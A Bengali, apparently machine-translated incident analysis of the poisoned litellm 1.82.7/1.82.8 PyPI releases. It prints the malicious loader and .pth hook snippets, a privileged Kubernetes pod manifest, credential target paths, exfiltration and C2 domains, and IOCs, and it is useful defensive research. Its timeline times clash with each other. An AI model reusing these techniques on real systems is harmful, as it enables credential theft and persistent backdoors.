কেন এই ব্যাপার
২৪ মার্চ, ২০২৬-এ, জনপ্রিয় পাইথন প্যাকেজটি লিটেলমএকটি সার্বজনীন এলএলএম প্রক্সি গেটওয়ে যা হাজার হাজার মানুষ ব্যবহার করে enterpriseঅ্যাপ্লিকেশন এবং OpenAI, Anthropic, Google, ও AWS Bedrock-এর মতো AI প্রোভাইডারদের মধ্যে ট্র্যাফিক রাউট করার একটি টুল PyPI-তে নীরবে হ্যাক হয়েছিল। এর দুটি বিষাক্ত সংস্করণ (1.82.7 এবং 1.82.8) একে অপরের ১৩ মিনিটের মধ্যে প্রকাশিত হয়েছিল, যেগুলোতে একটি বহু-পর্যায়ের পেলোড ছিল যা ক্রেডেনশিয়াল চুরি করে, ক্লাউড সিক্রেট পাচার করে, কুবারনেটিস ক্লাস্টার জুড়ে ছড়িয়ে পড়ে এবং রিমোট কোড এক্সিকিউশন ক্ষমতা সম্পন্ন একটি স্থায়ী ব্যাকডোর ইনস্টল করে।
আনুমানিক সঙ্গে দৈনিক ৩৬ লক্ষ ডাউনলোড এবং ক্লাউড-নেটিভ এআই পরিকাঠামো জুড়ে এর ব্যাপক বিস্তৃতির কারণে, লিটেলম এমন সবকিছুর কেন্দ্রবিন্দুতে অবস্থান করছে যা আধুনিক আক্রমণকারীরা লোভ করে: প্রতিটি প্রধান এআই প্রদানকারীর এপিআই কী, ক্লাউড আইএএম ক্রেডেনশিয়াল, কুবারনেটিস সিক্রেটস এবং এসএসএইচ কী।
কিন্তু লিটলম সমঝোতাটি কোনো বিচ্ছিন্ন ঘটনা ছিল না। এটি ছিল একটি ধারাবাহিক প্রক্রিয়ার চূড়ান্ত পরিণতি। পাঁচ দিনের, পাঁচ বাস্তুতন্ত্রের অভিযান একজন হুমকি সৃষ্টিকারী ব্যক্তি দ্বারা পরিচিত টিমপিসিপিএকটি অভিযান যা প্রথমে নিরাপত্তা স্ক্যানারগুলোকে (অ্যাকুয়া ট্রিভি, চেকমার্ক্স কেআইসিএস) বিষাক্ত করে, তারপর চুরি করা ডেটা ব্যবহার করে। CI/CD ক্রেডেনশিয়ালগুলো ধাপে ধাপে npm, OpenVSX এবং অবশেষে PyPI-তে পৌঁছে যায়। আক্রমণকারীরা ঠিক সেইসব টুলকেই অস্ত্র হিসেবে ব্যবহার করেছে, যেগুলোর ওপর প্রতিষ্ঠানগুলো তাদের সাপ্লাই চেইন সুরক্ষিত রাখতে নির্ভর করে।
এই আক্রমণটি সাপ্লাই চেইন হুমকির জটিলতায় একটি যুগান্তকারী পরিবর্তন নিয়ে এসেছে। এর মাল্টি-হপ, ক্রস-ইকোসিস্টেম ডিজাইন উচ্চ-মূল্যের পণ্যে পৌঁছানোর জন্য নিরাপত্তা সরঞ্জামকে ঝুঁকিপূর্ণ করে তোলে। এআই পরিকাঠামো, এটি পরিকল্পনা এবং পরিচালনগত পরিপক্কতার এমন একটি স্তরকে প্রতিফলিত করে যা ক্রমবর্ধমানভাবে সহজলভ্য হয়ে ওঠা অ্যাটাক টুলিংয়ের সাথে সামঞ্জস্যপূর্ণ। পেলোডগুলো রিয়েল টাইমে বারবার উন্নত করা হয়েছিল (সোর্স কোডে তিনটি পেলোড ভ্যারিয়েন্ট দেখা যায়, যার মধ্যে কমেন্ট-আউট করা আগের সংস্করণগুলোও রয়েছে), আক্রমণের আগের দিন C2 পরিকাঠামোটি রেজিস্টার করা হয়েছিল, এবং বৈধ ভেন্ডর পরিকাঠামোর অনুকরণে এক্সফিলট্রেশন ডোমেইনগুলো সতর্কতার সাথে বেছে নেওয়া হয়েছিল। পদ্ধতিগতভাবে ব্যাপক ক্রেডেনশিয়াল হারভেস্টারটি, যা কার্ডানো সাইনিং কী এবং ওয়্যারগার্ড কনফিগের মতো বিশেষ টার্গেটসহ ১৫টিরও বেশি ক্যাটাগরি কভার করে, এমন একটি ব্যাপক কর্মদক্ষতার ইঙ্গিত দেয় যা এআই-সহায়তায় ম্যালওয়্যার ডেভেলপমেন্টকে একটি শক্তি গুণক হিসেবে কাজ করার দিকে নির্দেশ করে।
Timeline
| তারিখ (UTC) | ঘটনা |
|---|---|
| মার্চ 19 | TeamPCP, Aqua Trivy-এর GitHub Action ট্যাগগুলোকে হ্যাক করে এবং সেগুলোকে এমন ক্ষতিকারক কোড দিয়ে প্রতিস্থাপন করে যা পাচার হয়ে যায়। CI/CD ডাউনস্ট্রিম রিপোজিটরি থেকে গোপনীয় তথ্য |
| মার্চ 21 | একই ধরনের কৌশল ব্যবহার করে এই আপস চেকমার্ক্স কেআইসিএস এবং এএসটি গিটহাব অ্যাকশন পর্যন্ত বিস্তৃত। |
| ২৪ মার্চ, ১০:৫২ | BerriAI স্বাভাবিকের মাধ্যমে litellm 1.82.6 (শেষ পরিচ্ছন্ন সংস্করণ) প্রকাশ করে CI/CD pipeline যেটি নিরাপত্তা স্ক্যানিংয়ের জন্য ট্রিভি ব্যবহার করে |
| মার্চ 23 | TeamPCP, models.litellm.cloud (তথ্য পাচার ডোমেইন) নিবন্ধন করে। এটি ৬৬টিরও বেশি npm প্যাকেজ এবং OpenVSX এক্সটেনশনকে ঝুঁকিতে ফেলে। |
| ২৪ মার্চ, ১০:৫২ | litellm 1.82.7 PyPI-তে প্রকাশিত হয়েছে -- পেলোড ইনজেক্ট করা হয়েছে proxy_server.py মডিউল স্কোপে। ইম্পোর্ট করার সময় কার্যকর হয়। |
| ২৪ মার্চ, ১০:৫২ | litellm 1.82.8 ১৩ মিনিট পরে প্রকাশিত হয়েছে -- যোগ করা হয়েছে litellm_init.pthএকটি পাইথন পাথ কনফিগারেশন হুক যা শুধু litellm ইম্পোর্টের ক্ষেত্রেই নয়, প্রতিটি পাইথন ইন্টারপ্রেটার চালু হওয়ার সময়েই এক্সিকিউট হয়। এটি দ্রুত পেলোড ইটারেশন প্রদর্শন করে। |
| ২৪শে মার্চ, প্রায় ১৬:০০ | কমিউনিটির অভিযোগের পর PyPI উভয় সংস্করণই সরিয়ে দিয়েছে। সংস্করণগুলো ইনডেক্স থেকে সম্পূর্ণরূপে মুছে ফেলা হয়েছে (ইয়াঙ্ক করা হয়নি), যদিও CDN টারবলগুলো অ্যাক্সেসযোগ্য থাকে। |
সংস্পর্শের সময়কাল: প্রায় ৫.৫ ঘণ্টা। এই সময়ে, যেকোনো pip install litellm, pip install --upgrade litellmঅথবা CI/CD pipeline সর্বশেষ সংস্করণটি পুল করলে পেলোডটি কার্যকর হতো।
যেভাবে ম্যালওয়্যারটি প্রবেশ করলো: ক্রমিক লঙ্ঘন
লিটেলম প্যাকেজটি সরাসরি হ্যাক করা হয়নি। আক্রমণকারী একটি মাধ্যমে এটিতে পৌঁছেছিল। দুই-ধাপের সরবরাহ শৃঙ্খল আক্রমণ:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI LiteLLM's CI/CD pipeline নিরাপত্তা স্ক্যানার হিসেবে ট্রিভি ব্যবহার করা হয়েছিল — যে টুলটি দুর্বলতা শনাক্ত করার জন্য তৈরি করা হয়েছিল, সেটি নিজেই আক্রমণের মাধ্যম হয়ে উঠেছিল। কারণ pipeline পিন করা ট্যাগের পরিবর্তে পরিবর্তনযোগ্য ট্যাগের মাধ্যমে ট্রিভিকে উল্লেখ করা হয়েছে। commit SHA, আপোসকৃত অ্যাকশনটি স্বয়ংক্রিয়ভাবে চলেছিল। ক্ষতিকারক Trivy অ্যাকশনটি পরিবেশের গোপনীয় তথ্য পাচার করেছিল, যার মধ্যে অন্তর্ভুক্ত ছিল PYPI_PUBLISH এই টোকেনটি TeamPCP-কে litellm PyPI প্রোজেক্টে সরাসরি প্রকাশের অ্যাক্সেস দেয়।
এই “সুরক্ষা ব্যবস্থাকে দুর্বল করে দেওয়া” কৌশলটি টিমপিসিপি (TeamPCP) অভিযানের একটি প্রধান বৈশিষ্ট্য। প্রথমে নিরাপত্তা সরঞ্জামগুলোকে (Trivy, Checkmarx KICS) লক্ষ্যবস্তু করার মাধ্যমে, আক্রমণকারীরা একই সাথে শনাক্তকরণ ব্যবস্থা অকার্যকর করে দেয় এবং পরবর্তী সরবরাহ শৃঙ্খলে বিশেষাধিকারপ্রাপ্ত প্রবেশাধিকার লাভ করে।
প্রযুক্তিগত বিশ্লেষণ: পেলোড
ইনজেকশন পয়েন্ট
সংস্করণ 1.82.7 — মডিউল-স্তরের কার্য সম্পাদন litellm/proxy/proxy_server.py (লাইন ১২৮):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p]) এই কোডটি মডিউল স্কোপে একটি ডিকশনারি লিটারেল এবং মূল কোডের মাঝে অবস্থিত। showwarning() ফাংশন। এটি অবিলম্বে কার্যকর হয় যখন litellm.proxy.proxy_server ইম্পোর্ট করা হয় — যা litellm-এর প্রক্সি কার্যকারিতার যেকোনো ব্যবহারের ক্ষেত্রেই ঘটে থাকে।
সংস্করণ 1.82.8 যোগ করা হয়েছে litellm_init.pth (পাইথন পাথ কনফিগারেশন ফাইল):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) পাইথন .pth ফাইলগুলি site-packages/ প্রতিটি ইন্টারপ্রেটার চালু হওয়ার সময় প্রক্রিয়া করা হয়, কিন্তু শুধুমাত্র সেই লাইনগুলি যা দিয়ে শুরু হয় import কোড হিসেবে কার্যকর করা হয়। আক্রমণকারী সম্পূর্ণ পেলোডটিকে একটিমাত্র পেলোডে শৃঙ্খলিত করে এর সুযোগ নেয়। import বিবৃতি: import os, subprocess, sys; subprocess.Popen(...)এটি proxy_server.py ইনজেকশনের চেয়ে অনেক বেশি আগ্রাসী — litellm কখনো ইম্পোর্ট না করা হলেও, প্রতিটি পাইথন প্রসেস চালু হওয়ার সময় এটি সক্রিয় হয়। pyproject.toml ডিস্ট্রিবিউশনে এই ফাইলটি অন্তর্ভুক্ত করার জন্য পরিবর্তন করা হয়েছিল:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ] সুতরাং সংস্করণ 1.82.8-এ রয়েছে দুটি স্বাধীন নির্বাহ পথproxy_server.py ইনজেকশন (যা litellm প্রক্সি ইম্পোর্ট করার সময় সক্রিয় হয়) এবং .pth ফাইল (যা যেকোনো পাইথন স্টার্টআপের সময় সক্রিয় হয়)। এই পুনরাবৃত্তি নিজেই উল্লেখযোগ্য — এটি শুধুমাত্র যেকোনো একটি পাথকে শনাক্ত বা অপসারণ করার বিরুদ্ধে সুরক্ষা দেয়। 1.82.7 আপডেটের মাত্র ১৩ মিনিট পরেই ইম্পোর্ট-টাইম থেকে স্টার্টআপ-টাইমে এক্সিকিউশনের এই বৃদ্ধি থেকে বোঝা যায় যে, আক্রমণকারী ডেপ্লয়মেন্টের সাফল্য পর্যবেক্ষণ করছিল এবং দ্রুত তার কৌশল পরিবর্তন করছিল।
পর্যায় ১: ব্যাপক শংসাপত্র সংগ্রহ
ডিকোড করা অভ্যন্তরীণ লিপিটি একটি সূক্ষ্ম প্রমাণ-শূন্যতা। এটি ব্যবহার করে os.walk(), glob.glob(), subprocess.check_output()এবং সম্পূর্ণ সিস্টেমটি স্ক্যান করার জন্য সরাসরি ফাইল রিড:
| বিভাগ | নির্দেশকের লক্ষ্যমাত্রা |
|---|---|
| সিস্টেম রিকন | hostname, whoami, uname -a, ip addr, printenv, ip route |
| , SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, configহোস্ট কীগুলি থেকে /etc/ssh/ |
| ক্লাউড (AWS) | ~/.aws/credentials, ~/.aws/configআইএমডিএস ভূমিকার প্রমাণপত্র এর মাধ্যমে 169.254.169.254গোপনীয়তা ব্যবস্থাপক ListSecretsএসএসএম DescribeParameters |
| ক্লাউড (জিসিপি) | ~/.config/gcloud/ (পুনরাবৃত্তিমূলক); $GOOGLE_APPLICATION_CREDENTIALS |
| ক্লাউড (অ্যাজুর) | ~/.azure/ (পুনরাবৃত্তিমূলক); পরিবেশ ভেরিয়েবল |
| Kubernetes | পরিষেবা অ্যাকাউন্ট টোকেন; ca.crt; নেমস্পেস; kubectl get secrets --all-namespacesK8s API এর মাধ্যমে সমস্ত গোপনীয় তথ্য |
| পরিবেশ ফাইল | .env, .env.local, .env.production, .env.development, .env.staging পুনরাবৃত্তিমূলকভাবে অনুসন্ধান করা হয়েছে (গভীরতা ৬) /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| ডকশ্রমিক | ~/.docker/config.json, /kaniko/.docker/config.json |
| প্যাকেজ টোকেন | ~/.npmrc, ~/.vault-token, ~/.netrc |
| ডেটাবেস | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.confMongoDB কনফিগারেশন |
| টিএলএস / এসএসএল | ব্যক্তিগত চাবিগুলি থেকে /etc/ssl/private/লেটস এনক্রিপ্ট সার্টিফিকেট, সব .pem/.key/.p12/.pfx নথি পত্র |
| git | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| ক্রিপ্টো ওয়ালেটস | বিটকয়েন, ইথেরিয়াম কীস্টোর, সোলানা কীপেয়ার (ভ্যালিডেটর, ভোট, স্টেক, ফসেট), কার্ডানো সাইনিং কী, লাইটকয়েন, ডজকয়েন, জিক্যাশ, ড্যাশ, রিপল, মোনেরো |
| শেলের ইতিহাস | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| সিস্টেম প্রমাণীকরণ | /etc/passwd, /etc/shadowপ্রমাণীকরণ লগ (গৃহীত SSH সেশন) |
| ওয়েবহুক/এপিআই কী | স্ল্যাক ওয়েবের জন্য গ্রেপhooksডিসকর্ড ওয়েবhooksকনফিগারেশন ফাইলে থাকা এপিআই কী/সিক্রেট |
| ভিপিএন | WireGuard কনফিগারেশন থেকে /etc/wireguard/ |
এই হারভেস্টারটির পরিধি বিশ্বকোষীয়। এটি শুধু ক্লাউড ক্রেডেনশিয়ালই নয়, বরং ক্রিপ্টোকারেন্সি ওয়ালেট, ডেটাবেস পাসওয়ার্ড, ভিপিএন কনফিগারেশন এবং আরও অনেক কিছুকে টার্গেট করে। CI/CD গোপনীয় তথ্য — যা থেকে বোঝা যায়, আক্রমণকারী একাধিক উপায়ে হ্যাক হওয়া সিস্টেমগুলো থেকে অর্থ উপার্জনের পরিকল্পনা করছে।
পর্যায় 2: এনক্রিপ্ট করা এক্সফিল্ট্রেশন
চুরি করা ডেটা একটি হাইব্রিড এনক্রিপশন স্কিম ব্যবহার করে এনক্রিপ্ট এবং পাচার করা হয়:
- এইএস -256-সিবিসি একটি র্যান্ডম ৩২-বাইট সেশন কী (এর মাধ্যমে) ব্যবহার করে সংগৃহীত সমস্ত ডেটার এনক্রিপশন
openssl enc) - RSA-4096 আক্রমণকারীর অন্তর্নিহিত পাবলিক কী ব্যবহার করে সেশন কী-এর এনক্রিপশন (OAEP প্যাডিং এর মাধ্যমে)
openssl pkeyutl) - উভয় সাইফারটেক্সট ফাইল বান্ডেল করা হয়েছে
tpcp.tar.gz(দ্যtpcpউপসর্গ — “TeamPCP” — পুরো প্রচারণা জুড়ে ধারাবাহিকভাবে দেখা যায়) - HTTPS পোস্ট
https://models.litellm.cloud/সঙ্গেContent-Type: application/octet-stream
ডোমেইন models.litellm.cloud এটি ২৩শে মার্চ — হামলার একদিন আগে — নিবন্ধিত হয়েছিল এবং এটিকে বৈধ লিটেলম পরিকাঠামোর সাথে মিশে যাওয়ার জন্য ডিজাইন করা হয়েছে (আসল প্রকল্পটি ব্যবহার করে litellm.aiএমনকি বহির্গামী ট্র্যাফিক পর্যালোচনা করার সময় একটি নেটওয়ার্ক-সচেতন ডিফেন্ডারও লিটেলএম-এর নিজস্ব মডেল এন্ডপয়েন্ট বলে মনে হওয়া ট্র্যাফিককে চিহ্নিত নাও করতে পারে।
পর্যায় ৩: স্থায়ী ব্যাকডোর (sysmon.py)
পেলোডটি সিস্টেম টেলিমেট্রি হিসাবে ছদ্মবেশে একটি পোলিং ব্যাকডোর ইনস্টল করে:
- পথ:
~/.config/sysmon/sysmon.py - সেবা:
sysmon.service(সিস্টেমডি ব্যবহারকারী ইউনিট, যা “সিস্টেম টেলিমেট্রি সার্ভিস” নামে বর্ণিত) - আচরণপ্রাথমিক ৩০০ সেকেন্ডের ঘুমের পর, জরিপ
https://checkmarx.zone/rawপ্রতি ~৫০ মিনিটে - ফাঁসিC2 থেকে প্রাপ্ত URL-টি ডাউনলোড করে
/tmp/pglogএকে নির্বাহযোগ্য করে তোলে (chmod 755), এটি একটি বিচ্ছিন্ন সেশনে চালায় - রাজ্য ট্র্যাকিং:
/tmp/.pg_stateএকই পেলোড পুনরায় ডাউনলোড হওয়া প্রতিরোধ করে। - অধ্যবসায়:
Restart=always,RestartSec=10ক্র্যাশ এবং রিবুট সত্ত্বেও টিকে থাকে
ডোমেইন checkmarx.zone চেকমার্ক্স (নিরাপত্তা সংস্থাটির) একটি টাইপোস্কোয়াট। checkmarx.comএটি এমনভাবে ডিজাইন করা হয়েছে যাতে নেটওয়ার্ক লগ পর্যালোচনা করার সময় SOC বিশ্লেষকরা এমন ট্র্যাফিক দেখতে পান যা আপাতদৃষ্টিতে একটি বৈধ নিরাপত্তা বিক্রেতার বলে মনে হয়। এটি একটি ইচ্ছাকৃত ফাঁকি দেওয়ার কৌশল, যা নিরাপত্তা বিক্রেতার ব্র্যান্ডিংয়ের আড়ালে লুকানোর জন্য TeamPCP-এর বৃহত্তর কৌশলের সাথে সামঞ্জস্যপূর্ণ।
পর্যায় ৩খ: কুবারনেটিস ল্যাটারাল মুভমেন্ট
যদি আক্রান্ত সিস্টেমে Kubernetes সার্ভিস অ্যাকাউন্টের ক্রেডেনশিয়াল থাকে, তাহলে ম্যালওয়্যারটি ক্লাস্টারের সমস্ত নোড গণনা করে এবং স্থাপন করে। সুবিধাপ্রাপ্ত পডগুলি প্রত্যেকের জন্য:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } } প্রতিটি শুঁটি:
- দৌড়ায় সুবিধাপ্রাপ্ত সঙ্গে
hostPID,hostNetworkএবং হোস্ট ফাইলসিস্টেমে সম্পূর্ণ অ্যাক্সেস - ব্যবহারসমূহ
chroot /hostএকই ইনস্টল করতেsysmon.pyহোস্টের রুট ফাইলসিস্টেমে ব্যাকডোর - এটিকে একটি systemd পরিষেবা হিসাবে নিবন্ধন করে, যা পড মুছে ফেলার পরেও এর স্থায়িত্ব নিশ্চিত করে।
- নামে
node-setup-*মধ্যেkube-systemনেমস্পেসকে বৈধ ক্লাস্টার অবকাঠামো হিসেবে প্রদর্শিত হতে
এর মানে হল একটি একক আপোস CI/CD K8s অ্যাক্সেস সহ রানারের ফলে ক্লাস্টারের প্রতিটি নোডে ব্যাকডোর প্রবেশ করতে পারে। — কুবারনেটিসে প্রক্সি হিসেবে লিটেলএম (litellm) ব্যবহারকারী সংস্থাগুলোর জন্য একটি বিপর্যয়কর পার্শ্বীয় স্থানান্তর পরিস্থিতি।
পেলোড বিবর্তন (মন্তব্য-করা সংস্করণ)
সোর্স কোডের ১৩১-১৩২ লাইনে কমেন্ট করে রাখা দুটি পূর্ববর্তী পেলোড ভ্যারিয়েন্ট রয়েছে, যা আক্রমণকারীর উন্নয়ন প্রক্রিয়া প্রকাশ করে:
- তিনটি রূপই একই বহির্গমন পরিকাঠামো ভাগ করে নেয় (
models.litellm.cloud), RSA-4096 পাবলিক কী, AES-256-CBC + RSA হাইব্রিড এনক্রিপশন র্যাপার, এবংtpcp.tar.gzবান্ডেল নামকরণ - পূর্ববর্তী সংস্করণগুলি একটি যোগ করা হয়েছে RC4 এনক্রিপশন স্তর ডেটা সংগ্রহ স্ক্রিপ্টের ভিতরে, বাইরের AES+RSA র্যাপারের আগে সংগৃহীত ডেটা এনক্রিপ্ট করা হয়। এই ভেতরের RC4 স্তরটি সরিয়ে সক্রিয় পেলোড (লাইন ১৩০) সরল করা হয়েছে।
- পূর্ববর্তী সংস্করণগুলি ব্যবহার করে
exec()সঙ্গেStringIOকালেক্টরকে প্রক্রিয়া চলাকালীন চালানোর জন্য ক্যাপচার ব্যবহার করে, যখন সক্রিয় পেলোড ব্যবহার করেsubprocess.run()stdout রিডাইরেক্টের মাধ্যমে — একটি আরও পরিচ্ছন্ন পৃথকীকরণ যা হোস্ট প্রসেসকে দূষিত করা এড়ায়। - তিনটি সংস্করণই একই শংসাপত্র বিভাগ এবং সংগ্রহের পথকে লক্ষ্য করে।
- পূর্ববর্তী সংস্করণগুলিতে RC4 কী-টি একটি উস্কানিমূলক গালি ছিল, যা টেলিগ্রামে অভিনেতার মনোযোগ আকর্ষণের আচরণের সাথে সামঞ্জস্যপূর্ণ।
এটি অপারেশন চলাকালীন সক্রিয় উন্নয়ন প্রকাশ করে। আক্রমণকারী এনক্রিপশন স্ট্যাককে সরল করেছে এবং এক্সিকিউশন আইসোলেশন উন্নত করেছে, একই সাথে সংগ্রহের লক্ষ্যবস্তু এবং এক্সফিলট্রেশন অবকাঠামো স্থিতিশীল রেখেছে।
আপোষের সূচক (আইওসি)
নেটওয়ার্ক
| ইনডিকেটর | আদর্শ | উদ্দেশ্য |
|---|---|---|
models.litellm.cloud | ডোমেইন | এক্সফিল্ট্রেশন এন্ডপয়েন্ট (HTTPS POST) |
checkmarx.zone | ডোমেইন | C2 পোলিং এন্ডপয়েন্ট (HTTPS GET) /raw) |
দ্রষ্টব্য: বাহ্যিক রিপোর্টিং লিঙ্ক checkmarx.zone/static/checkmarx-util-1.0.4.tgz TeamPCP ক্যাম্পেইনের পূর্ববর্তী KICS পর্বের জন্য। এখানে বিশ্লেষিত litellm পেলোডগুলিতে এই URL-টি খুঁজে পাওয়া যায়নি।
প্যাকেজ হ্যাশ
| ফাইল | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
নথি ব্যবস্থা
| ইনডিকেটর | আদর্শ | উদ্দেশ্য |
|---|---|---|
~/.config/sysmon/sysmon.py | ফাইল | স্থায়ী ব্যাকডোর স্ক্রিপ্ট |
~/.config/systemd/user/sysmon.service | ফাইল | সিস্টেমডি স্থায়িত্ব ইউনিট |
/tmp/pglog | ফাইল | দ্বিতীয় পর্যায়ের বাইনারি ডাউনলোড করা হয়েছে |
/tmp/.pg_state | ফাইল | C2 অবস্থা ট্র্যাকিং |
litellm_init.pth in site-packages/ | ফাইল | পাইথন স্টার্টআপ হুক (শুধুমাত্র v1.82.8 এর জন্য) |
tpcp.tar.gz | ফাইল | এনক্রিপ্টেড এক্সফিলট্রেশন বান্ডেল |
Kubernetes
| ইনডিকেটর | আদর্শ | উদ্দেশ্য |
|---|---|---|
node-setup-* শুঁটি kube-system | শুঁটি | সুবিধাপ্রাপ্ত পার্শ্বীয় চলাচল পড |
sysmon.service ক্লাস্টার নোডগুলিতে | সেবা | পড এস্কেপের মাধ্যমে হোস্ট-স্তরের স্থায়িত্ব |
ক্রিপ্টোগ্রাফিক
| ইনডিকেটর | বিস্তারিত |
|---|---|
| আক্রমণকারী RSA-4096 পাবলিক কী | SHA256 ফিঙ্গারপ্রিন্ট: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8তিনটি পেলোড ভ্যারিয়েন্টের সবকটিতেই অন্তর্ভুক্ত; অন্যান্য TeamPCP অপারেশন জুড়ে একই কী রিপোর্ট করা হয়েছে। |
tpcp শিল্পকর্মে উপসর্গ | বান্ডেল নামকরণের নিয়ম (tpcp.tar.gz) পুরো প্রচারণা জুড়ে সামঞ্জস্যপূর্ণ |
কৃতিত্ব: টিমপিসিপি
এই প্রচারণার নেপথ্যের হুমকিদাতাকে শনাক্ত করা হয়েছে। টিমপিসিপি, যা PCPcat, Persy_PCP, ShellForce, এবং DeadCatx3 নামেও পরিচিত।
জ্ঞাত বৈশিষ্ট্যসমূহ:
- টেলিগ্রাম চ্যানেলগুলো পরিচালনা করে
@Persy_PCPএবং@teampcpযেখানে তারা নিরাপত্তা সংস্থাগুলোকে উপহাস করেছিল - একাধিক ইকোসিস্টেমে কাজ করে (GitHub Actions, PyPI, npm, OpenVSX)
- ক্যাম্পেইনের প্রতিটি পর্যায়ের জন্য বিক্রেতা-নির্দিষ্ট টাইপোস্কোয়াট ডোমেইন ব্যবহার করে (যেমন,
checkmarx.zoneচেকমার্ক্সের জন্য,models.litellm.cloudলিটেলম এর জন্য) - সামঞ্জস্যপূর্ণ অবকাঠামোগত নির্দেশক: একই RSA কী পেয়ার,
tpcp.tar.gzনামকরণের রীতি,tpcp-docs-*ডেড-ড্রপ স্টেজিং হিসেবে ব্যবহৃত গিটহাব রিপোজিটরি - নিরাপত্তা সরঞ্জামগুলোকে নিম্নধারার সরবরাহ শৃঙ্খলে প্রবেশের পথ হিসেবে লক্ষ্যবস্তু করা হয়।
অ্যাট্রিবিউশন কনফিডেন্সউচ্চ। শেয়ার করা RSA পাবলিক কী, tpcp পাঁচ দিনব্যাপী এই অভিযান জুড়ে আর্টিফ্যাক্টের নামকরণ, C2 পরিকাঠামোর ওভারল্যাপ এবং কর্মতৎপরতার গতি Trivy, KICS, npm, OpenVSX, এবং litellm-এর নিরাপত্তা লঙ্ঘনের ঘটনাগুলোকে একই পক্ষ দ্বারা সংঘটিত বলে জোরালোভাবে চিহ্নিত করে।
প্রেরণাসম্ভবত এর পেছনে আর্থিক উদ্দেশ্য (ক্রিপ্টো ওয়ালেট চুরি, ক্লাউড ক্রেডেনশিয়াল নগদীকরণ) এবং কুখ্যাতি (টেলিগ্রামে বিদ্রূপ) জড়িত। AWS IAM থেকে শুরু করে সোলানা ভ্যালিডেটর কীপেয়ার ও ওয়্যারগার্ড কনফিগারেশন পর্যন্ত ক্রেডেনশিয়াল সংগ্রহের ব্যাপকতা একজন আর্থিকভাবে উদ্দেশ্যপ্রণোদিত চক্রের ইঙ্গিত দেয়, যে প্রতিটি লঙ্ঘনের মাধ্যমে তার বিনিয়োগের সর্বোচ্চ রিটার্ন পেতে চায়।
সম্ভাব্য এআই সহায়তাক্রেডেনশিয়াল হারভেস্টারটি পদ্ধতিগতভাবে ব্যাপক — এতে কার্ডানো সাইনিং কী, ওয়্যারগার্ড কনফিগ এবং কানিকো ডকার ক্রেডেনশিয়ালের মতো বিশেষ লক্ষ্যবস্তুসহ ১৫টিরও বেশি বিভাগ রয়েছে — যা এআই-সহায়তায় গণনার সাথে সামঞ্জস্যপূর্ণ। পেলোড পুনরাবৃত্তির গতি (ভিন্ন এনক্রিপশন স্কিমসহ তিনটি ভ্যারিয়েন্ট), আন্তঃ-ইকোসিস্টেম সমন্বয় (৫ দিনে ৫টি ইকোসিস্টেম), এবং অপারেশনাল OPSEC (ভেন্ডর-ইমপারসোনেটিং ডোমেইন, হাইব্রিড এনক্রিপশন, টেলিমেট্রি হিসাবে ছদ্মবেশে সিস্টেমডি পারসিস্টেন্স) এমন একটি থ্রুপুটের মাত্রা নির্দেশ করে যা এআই-সহায়তায় উন্নয়নকে একটি শক্তি গুণক হিসাবে প্রতিফলিত করতে পারে। এই মূল্যায়নটি অনুমানমূলক; দক্ষ অপারেটররা এআই টুলিং ছাড়াই অনুরূপ পরিধি অর্জন করতে পারতেন।
নতুন টিটিপি এবং কৌশল
১. নিরাপত্তা সরঞ্জাম সরবরাহ শৃঙ্খলে বিষক্রিয়া (টি১১৯৫.০০২ সংস্করণ)
পরবর্তী লক্ষ্যবস্তুতে পৌঁছানোর প্রথম ধাপ হিসেবে নিরাপত্তা স্ক্যানার (Trivy, KICS) হ্যাক করা একটি নতুন ধরনের গুরুতর পদক্ষেপ। আক্রমণকারী শুধু একটি লাইব্রেরিই হ্যাক করেনি — তারা সেইসব টুল হ্যাক করেছে যা বিভিন্ন প্রতিষ্ঠান ব্যবহার করে থাকে। সনাক্ত ত্রুটিপূর্ণ লাইব্রেরি। এটি একটি অন্ধবিন্দু তৈরি করে: যে স্ক্যানারটির ক্ষতিকারক কোড ধরার কথা, সেটি নিজেই কোডটি পৌঁছে দেওয়ার মাধ্যম হিসেবে কাজ করে।
2। পাইথন .pth ফাইল স্থায়িত্ব (T1546)
